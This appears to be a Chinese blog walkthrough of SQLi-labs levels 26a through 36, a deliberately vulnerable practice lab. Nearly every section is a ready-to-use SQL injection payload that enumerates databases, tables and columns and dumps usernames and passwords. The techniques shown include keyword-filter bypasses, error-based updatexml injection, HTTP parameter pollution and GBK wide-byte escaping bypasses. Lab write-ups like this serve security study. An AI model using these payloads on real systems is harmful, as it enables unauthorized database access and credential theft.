sql注入——sqlilabs27-36

目录

less-26a​编辑

2.查询数据库

3.数据表

4.数据列

5.数据内容

less-27​编辑

2.数据库

3.数据表

4.数据列

5.数据内容

less-27a​编辑

2.数据库

3.数据表

4.数据列

5.数据内容

less-28​编辑

2.数据库

3.表注入

4.列注入

5.数据查找

less-28a​编辑

2.数据库

3.表注入

4.列注入

5.数据查找

less-29​编辑​编辑

2.爆库名

3.爆表名

4.列名

5.用户信息

less-30​编辑​编辑

2.爆库名

3.爆表名

4.列名

5.用户信息

less-31​编辑

2.爆库名

3.爆表名

4.列名

5.用户信息

less-32​编辑

2.爆库名

3.爆表名

4.列名

5.用户信息

less-33​编辑

2.爆库名

3.爆表名

4.列名

5.用户信息

less-34​编辑

2.爆库名

3.爆表名

4.列名

5.用户信息

less-35​编辑

2.爆库名

3.爆表名

4.列名

5.用户信息

less-36​编辑

2.爆库名

3.爆表名

4.列名

5.用户信息


less-26a

  • 但是这里,把报错关掉了

  • 这点呢其实和less-26差不多,就是闭合改为,单引号加括号

2.查询数据库

复制代码
?id=-1')union(select'1',database(),'3

3.数据表

复制代码
?id=a')union(select'1',(group_concat(distinct `table_name`)),'2'from(infoorrmation_schema.columns)where `table_schema`='security'aandnd'1'='1

4.数据列

复制代码
?id=a')union(select'1',(group_concat(column_name)),'2'from(infoorrmation_schema.columns)where `table_schema`='security'anandd`table_name`='users'anandd'1'='1

5.数据内容

复制代码
?id=a')union(select'1',(group_concat(username,0x3a,passwoorrd)),'2'from(users)where'1'='1

less-27

  • 这里我们注意到她过滤了一部分联合查询,但是没有忽略大小写

  • 思路 大小写混杂 报错注入

2.数据库

复制代码
?id=-1'and(updatexml(1,concat(0x7e,database(),0x7e),1))or'1'='1
?id=a'uNIon%0BSElect '1',database(),'2'and'1'='1

3.数据表

复制代码
?id=1'and(updatexml(1,concat(0x7e,(SElect (group_concat(distinct `table_name`))from(information_schema.columns)where `table_schema`='security'),0x7e),1))or'1'='1
​
?id=a'UNion%0BSElect'1',(group_concat(distinct `table_name`)),'2' from(information_schema.columns)where `table_schema`='security
​

4.数据列

复制代码
?id=1'and(updatexml(1,concat(0x7e,(SElect(group_concat(column_name))from(information_schema.columns)where `table_schema`='security'and`table_name`='users'),0x7e),1))or'1'='1
​
?id=a'UNion%0BSElect'1',(group_concat(column_name)),'3'from(information_schema.columns)where `table_schema`='security'and`table_name`='users

5.数据内容

复制代码
// 这点不知道为什么SE在浏览器会被转为se导致被过滤 所以用url编码绕过
?id=-1'and(updatexml(1,substr(concat(0x7e,(%53E%4cecT(group_concat(username,0x3a,password))from(users)),0x7e),1,32),1))and'1'='1
​
?id=a'UNion%0BSElect'1',substr(group_concat(username,0x3a,password),1,32),'3'from(users)where'1'='1

less-27a

  • 相较于less-27闭合改为了双引号

2.数据库

复制代码
?id=-1"and(updatexml(1,concat(0x7e,database(),0x7e),1))or'1'="1
?id=a"uNIon%0BSElect '1',database(),'2'and'1'="1

3.数据表

复制代码
?id=1"and(updatexml(1,concat(0x7e,(SElect (group_concat(distinct `table_name`))from(information_schema.columns)where `table_schema`='security'),0x7e),1))or'1'="1
​
?id=a"UNion%0BSElect'1',(group_concat(distinct `table_name`)),'2' from(information_schema.columns)where `table_schema`="security
​

4.数据列

复制代码
?id=1"and(updatexml(1,concat(0x7e,(SElect(group_concat(column_name))from(information_schema.columns)where `table_schema`='security'and`table_name`='users'),0x7e),1))or'1'="1
​
?id=a"UNion%0BSElect'1',(group_concat(column_name)),'3'from(information_schema.columns)where `table_schema`='security'and`table_name`="users

5.数据内容

复制代码
// 这点不知道为什么SE在浏览器会被转为se导致被过滤 所以用url编码绕过
?id=-1"and(updatexml(1,substr(concat(0x7e,(%53E%4cecT(group_concat(username,0x3a,password))from(users)),0x7e),1,32),1))and'1'="1
​
?id=a"UNion%0BSElect'1',substr(group_concat(username,0x3a,password),1,32),'3'from(users)where'1'="1

less-28

  • 这里是有联合查询的过滤,还有没有了报错注入

  • 复写注入

2.数据库

复制代码
?id=a')union%0Bunion%0Bselectselect'1',database(),('3

3.表注入

复制代码
?id=a')union%0Bunion%0Bselectselect'1',(group_concat(distinct `table_name`)),'2' from(information_schema.columns)where `table_schema`=('security

4.列注入

复制代码
?id=a')union%0Bunion%0Bselectselect'1',(group_concat(column_name)),'3'from(information_schema.columns)where `table_schema`='security'and`table_name`=('users

5.数据查找

复制代码
?id=a')union%0Bunion%0Bselectselect'1',substr(group_concat(username,0x3a,password),1,32),'3'from(users)where'1'=('1

less-28a

  • 这题和less-28差不多,一样注入

  • 复写注入

2.数据库

复制代码
?id=a')union%0Bunion%0Bselectselect'1',database(),3--+
​
?id=a')/*!union*/ select 1, database(),3--+         //内联注释绕过

3.表注入

复制代码
?id=a')union%0Bunion%0Bselectselect'1',(group_concat(distinct `table_name`)),'2' from(information_schema.columns)where `table_schema`='security'--+
​
?id=a')union/**/select'1',(group_concat(distinct `table_name`)),'2' from(information_schema.columns)where `table_schema`='security'--+      //注释绕过

4.列注入

复制代码
?id=a')union%0Bunion%0Bselectselect'1',(group_concat(column_name)),'3'from(information_schema.columns)where `table_schema`='security'and`table_name`='users'--+

5.数据查找

复制代码
?id=a')union%0Bunion%0Bselectselect'1',substr(group_concat(username,0x3a,password),1,32),'3'from(users)--+

less-29

  • 这里我们发现它在java_imlimentation,在经过exlode函数,以&符为分割,取值,在whitelist过滤他取得是第一个值,

  • 所以我们考虑传入多个id值

  • 这里在less1中发现传入多个id值发现是取的最后一个值

2.爆库名

复制代码
?id=1&id=-1'union select 1,database(),3--+

3.爆表名

复制代码
id=1&id=-1'union select 1, group_concat(distinct table_name),3 from information_schema.columns where table_schema = 'security'--+

4.列名

复制代码
id=1&id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'--+

5.用户信息

复制代码
id=1&id=-1' union select 1,group_concat(username), group_concat(password) from users --+ 

less-30

  • 这题与less29差不多,就改为了双引号闭合

2.爆库名

复制代码
?id=1&id=-1"union select 1,database(),3--+

3.爆表名

复制代码
id=1&id=-1"union select 1, group_concat(distinct table_name),3 from information_schema.columns where table_schema = 'security'--+

4.列名

复制代码
id=1&id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'--+

5.用户信息

复制代码
id=1&id=-1" union select 1,group_concat(username), group_concat(password) from users --+ 

less-31

  • 这题与less30差不多,就改为了双引号和括号闭合

2.爆库名

复制代码
?id=1&id=-1")union select 1,database(),3--+

3.爆表名

复制代码
id=1&id=-1")union select 1, group_concat(distinct table_name),3 from information_schema.columns where table_schema = 'security'--+

4.列名

复制代码
id=1&id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'--+

5.用户信息

复制代码
id=1&id=-1") union select 1,group_concat(username), group_concat(password) from users --+ 

less-32

  • 我们发现这里对斜线,对引号进行了转译,考虑一下宽字节注入

  • 宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为',其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是'運',从而使单引号闭合(逃逸),进行注入攻击。

2.爆库名

复制代码
?id=-1%df' union select 1,database(),3--+

3.爆表名

  • where后面的语句有引号可以改为16进制
复制代码
?id=-1%df' union select 1, group_concat(distinct table_name),3 from information_schema.columns where table_schema = 0x7365637572697479

4.列名

复制代码
?id=-1%df'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 0x7365637572697479 and table_name = 0x7573657273--+

5.用户信息

复制代码
?id=-1%df' union select 1,group_concat(username), group_concat(password) from users --+ 

less-33

  • addslashes()函数将字符串中的(', ", \)转意

  • 编码为gbk

  • 哎哟典型的宽字节注入

2.爆库名

复制代码
?id=-1%df' union select 1,database(),3--+

3.爆表名

复制代码
?id=-1%df' union select 1, group_concat(distinct table_name),3 from information_schema.columns where table_schema = 0x7365637572697479--+

4.列名

复制代码
?id=-1%df'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 0x7365637572697479 and table_name = 0x7573657273--+

5.用户信息

复制代码
?id=-1%df' union select 1,group_concat(username), group_concat(password) from users --+ 

less-34

  • 宽字节启动
复制代码
1%df' union select 1,group_concat(password,username) from users--+
  • 这里我们发现如果直接在输入框里面写的话发现%被编译了,所以抓包干

2.爆库名

复制代码
?id=-1%df' union select 1,database()--+

3.爆表名

其实语句都一样,只不过在抓包里面改了

复制代码
1%df' union select 1, group_concat(distinct table_name) from information_schema.columns where table_schema = 0x7365637572697479 --+

4.列名

复制代码
1%df'union select 1,group_concat(column_name) from information_schema.columns where table_schema = 0x7365637572697479 and table_name =0x7573657273--+

5.用户信息

复制代码
1%df' union select group_concat(username), group_concat(password) from users --+ 

less-35

  • 这里貌似直接连接注入就行,就where条件需要编码

2.爆库名

复制代码
?id=-1 union select 1,database(),3--+

3.爆表名

复制代码
?id=-1 union select 1, group_concat(distinct table_name),3 from information_schema.columns where table_schema = 0x7365637572697479--+

4.列名

复制代码
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 0x7365637572697479 and table_name = 0x7573657273--+

5.用户信息

复制代码
?id=-1 union select 1,group_concat(username), group_concat(password) from users --+ 

less-36

  • mysqli_real_escape_string()函数将字符串中的(', ", \)转意

  • 编码为gbk

  • 哎哟典型的宽字节注入

2.爆库名

复制代码
?id=-1%df' union select 1,database(),3--+

3.爆表名

复制代码
?id=-1%df' union select 1, group_concat(distinct table_name),3 from information_schema.columns where table_schema = 0x7365637572697479--+

4.列名

复制代码
?id=-1%df'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 0x7365637572697479 and table_name = 0x7573657273--+

5.用户信息

复制代码
?id=-1%df' union select 1,group_concat(username), group_concat(password) from users --+ 
相关推荐
S1998_1997111609•X9 分钟前
论mysql国盾shell-sfa犯罪行为集团下的分项工程及反向注入原理尐深度纳米算法下的鐌檵鄐鉎行为
网络·数据库·网络协议·百度·开闭原则
KmSH8umpK1 小时前
Redis分布式锁从原生手写到Redisson高阶落地,附线上死锁复盘优化方案进阶第七篇
数据库·redis·分布式
yaodong5182 小时前
不会Python也能数据分析:Gemini 3.1 Pro解决办公问题的SQL自动生成
python·sql·数据分析
BU摆烂会噶2 小时前
【LangGraph】持久化实现的三大能力——时间旅行
数据库·人工智能·python·postgresql·langchain
l1t3 小时前
DeepSeek总结的DuckLake 入门
数据库
Joseph Cooper3 小时前
RAG 与 AI Agent:智能体真的需要检索增强生成吗?
数据库·人工智能·ai·agent·rag·上下文工程
light blue bird3 小时前
主子端台二分法任务汇总组件
前端·数据库·.net·桌面端winform
DevilSeagull4 小时前
MySQL(2) 客户端工具和建库
开发语言·数据库·后端·mysql·服务
小李来了!4 小时前
Navicate/plsql连接Oracle数据库教程
数据库·oracle
苍煜4 小时前
慢SQL优化实战教学
java·数据库·sql